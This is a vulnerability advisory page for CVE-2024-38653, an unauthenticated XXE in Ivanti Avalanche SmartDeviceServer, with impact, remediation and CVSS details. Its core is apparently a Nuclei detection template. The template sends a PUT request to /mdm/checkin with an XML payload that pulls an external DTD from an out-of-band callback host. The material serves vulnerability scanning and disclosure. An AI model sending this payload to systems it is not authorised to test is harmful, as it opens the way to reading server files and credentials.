CVE-2024-38653: Ivanti Avalanche SmartDeviceServer - XML External Entity

2025-08-01 Ivanti Avalanche SmartDeviceServer PoC Public

Description

XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.

PoC

id: CVE-2024-38653

info:
  name: Ivanti Avalanche SmartDeviceServer - XML External Entity
  author: DhiyaneshDK
  severity: high
  description: |
    XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Ivanti Avalanche server, potentially exposing configuration files, credentials, and sensitive data managed by the device management system.
  remediation: |
    Upgrade to Ivanti Avalanche version 6.4.0 or later that addresses this XXE vulnerability.
  reference:
    - https://github.com/D4mianWayne/POCs/tree/main/CVE%202024-38653
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/cve-2024-38653
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38653
    cwe-id: CWE-611
    epss-score: 0.91984
    epss-percentile: 0.99814
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.1:*:*:*:premise:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
  tags: cve,cve2024,intrusive,ivanti,avalanche,xxe,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        PUT /mdm/checkin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE a [
        <!ENTITY % asd SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %asd;
        %c;
        ]>
        <a></a>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 4a0a00473045022039cd2e247e1603906259610eacb9eab1d2d36dfd34b786bd2239fb64d1c49e7d022100918ba07d5c2d4f42097f647f96ba6f8c92bd4d3572c10e5f165019f579810ae2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities